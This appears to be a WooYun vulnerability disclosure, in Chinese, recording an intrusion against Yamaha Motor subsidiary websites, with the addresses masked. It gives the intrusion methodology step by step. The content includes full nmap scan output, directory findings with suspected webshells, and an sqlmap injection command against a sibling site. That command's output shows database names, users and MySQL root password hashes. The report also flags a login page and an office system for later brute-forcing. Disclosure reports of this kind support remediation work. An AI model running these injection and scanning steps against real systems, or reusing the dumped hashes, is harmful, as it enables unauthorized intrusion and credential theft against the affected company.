WooYun.org

-----------------域名注册信息
雅马哈发动机株式会社 | 雅马哈发动机株式会社
域名持有certadmin@**.**.**.** 雅马哈发动机（厦门）信息系统有限公司 拥有 2 个站点，
与 2 个站点有关联
**.**.**.**
**.**.**.**

------------------同服查询（判断启用cnd还是真实主机）
**.**.**.**|真实主机
同服dc.**.**.**.**
------------------扫描网站ip端口 尝试寻找弱口令的机会
Starting Nmap 6.49BETA4 ( https://**.**.**.** ) at 2015-09-12 00:58 CST
NSE: Loaded 122 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 00:58
Completed NSE at 00:58, 0.00s elapsed
Initiating NSE at 00:58
Completed NSE at 00:58, 0.00s elapsed
Initiating Ping Scan at 00:58
Scanning **.**.**.** [4 ports]
Completed Ping Scan at 00:58, 0.22s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 00:58
Completed Parallel DNS resolution of 1 host. at 00:58, 0.07s elapsed
Initiating SYN Stealth Scan at 00:58
Scanning **.**.**.** [1000 ports]
Discovered open port 80/tcp on **.**.**.**
Completed SYN Stealth Scan at 00:59, 11.08s elapsed (1000 total ports)
Initiating Service scan at 00:59
Scanning 1 service on **.**.**.**
Completed Service scan at 00:59, 6.32s elapsed (1 service on 1 host)
Initiating OS detection (try #1) against **.**.**.**
Initiating Traceroute at 00:59
Completed Traceroute at 00:59, 3.02s elapsed
Initiating Parallel DNS resolution of 10 hosts. at 00:59
Completed Parallel DNS resolution of 10 hosts. at 00:59, 10.04s elapsed
NSE: Script scanning **.**.**.**.
Initiating NSE at 00:59
Completed NSE at 00:59, 2.38s elapsed
Initiating NSE at 00:59
Completed NSE at 00:59, 0.00s elapsed
Nmap scan report for **.**.**.**
Host is up (0.079s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.3 ((CentOS))
| http-methods: GET HEAD POST OPTIONS TRACE
| Potentially risky methods: TRACE
|_See http://**.**.**.**/nsedoc/scripts/http-methods.html
|_http-server-header: Apache/2.2.3 (CentOS)
|_http-title: \xE9\x9B\x85\xE9\xA9\xAC\xE5\x93\x88\xE5\x8F\x91\xE5\x8A\xA8\xE6\x9C\xBA\xE6\xA0\xAA\xE5\xBC\x8F\xE4\xBC\x9A\xE7\xA4\xBE | \xE9\x9B\x85\xE9\xA9\xAC\xE5\x93\x88\xE5\x8F\x91\xE5\x8A\xA8\xE6\x9C\xBA\xE6\xA0\xAA\xE5\xBC\x8F\xE4\xBC\x9A\xE7\xA4\xBE
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.18
Uptime guess: 27.207 days (since Sat Aug 15 20:01:10 2015)
Network Distance: 12 hops
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 10.33 ms **.**.**.**
2 30.34 ms **.**.**.**.**.**.**.** (**.**.**.**)
3 30.40 ms **.**.**.**.**.**.**.** (**.**.**.**)
4 8.00 ms **.**.**.**
5 ...
6 12.77 ms **.**.**.**
7 42.44 ms **.**.**.**
8 46.08 ms **.**.**.**
9 47.46 ms **.**.**.**
10 46.44 ms **.**.**.** (**.**.**.**)
11 35.67 ms **.**.**.**
12 89.92 ms **.**.**.**
NSE: Script Post-scanning.
Initiating NSE at 00:59
Completed NSE at 00:59, 0.00s elapsed
Initiating NSE at 00:59
Completed NSE at 00:59, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://**.**.**.**/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 39.34 seconds
Raw packets sent: 2078 (94.024KB) | Rcvd: 46 (3.404KB)
------------------判断cms
无法判断cms 肥猪流cms

------------------扫描网站目录 寻找可疑目录 以及目录下的漏洞 弱口令等
http://www.**.**.**.**/marine/data/attachment/file/m.php 可疑一句话 爆破无果
http://www.**.**.**.**/marine/data/attachment/file/md5.php 可疑一句话 爆破无果
http://www.**.**.**.**/marine/data/attachment/file/ 列目录
http://www.**.**.**.**/marine/data/attachment/file/fa/ 寄生虫页面
http://www.**.**.**.**/marine/data/attachment/file/php.ini phpini
http://www.**.**.**.**/marine/data/attachment/file/yea/ 寄生虫页面
http://www.**.**.**.**/marine/data/attachment/ 寄生虫页面
http://www.**.**.**.**/marine/data/ 列目录
http://www.**.**.**.**/manual/ Apache HTTP Server Version 2.2配置文档
http://www.**.**.**.**/home/ 列目录
http://www.**.**.**.**/images/ 列目录
http://www.**.**.**.**/css/ 列目录
http://www.**.**.**.**/js/ 列目录
http://www.**.**.**.**/js/ 列目录
http://www.**.**.**.**/shared/ 列目录
http://www.**.**.**.**/swf/ 列目录
http://www.**.**.**.**//icons/README 敏感信息
------------------扫描 和手工寻找网站程序漏洞 或者网站cms漏洞 以达到getshell目的
------------------收集旁站信息
旁站和主站一套程序
打算放弃的时候有点小发现 啧啧
------------------扫描旁站信息
[root@Hacker~]# Sqlmap -u "http://dc.**.**.**.**/marine/boat/store_detail.php?id
=7" --dbs 注入
available databases [8]:
[*] brophp
[*] brophp_new
[*] icats
[*] information_schema
[*] marine
[*] mysql
[*] performance_schema
[*] pp
--users
[01:43:32] [INFO] retrieved: 'brophp_user'@'localhost'
database management system users [113]:
[*] 'brophp_user'@'localhost'
[*] 'root'@'**.**.**.**'
[*] 'root'@'::1'
[*] 'root'@'localhost'
[*] 'root'@'**.**.**.**'
--password
database management system users password hashes:
[*] brophp_user [1]:
password hash: NULL
[*] root [3]:
password hash: 190199e35b009e27
password hash: 6a0845a86d947e48
password hash: NULL
--------------------------------------------------------
一个登陆口
http://dc.**.**.**.**/ymclocal/login.php
------------------扫描旁站端口 尝试弱口令爆破等
-----------------扫描旁站目录敏感信息，以及目录下的漏洞 尝试后台登录等
略过

-----------------判断旁站cms 以及寻找旁站程序漏洞等 从而达到getshell目的
略过
----------------拿到旁站shell 提权 执行命令 上传exp 寻找数据库配置 以及网站敏感信息等 如提权不成功 可尝试已经收集到的信息尝试社工等
----------------扫描C段信息 方法以上述雷同###！！！
https://**.**.**.**/YMSMYbs/ （**.**.**.**）c段办公系统 后天尝试爆破
https://**.**.**.**/dealer/ 后台管理坑爹（**.**.**.**）
已经被黑产劫持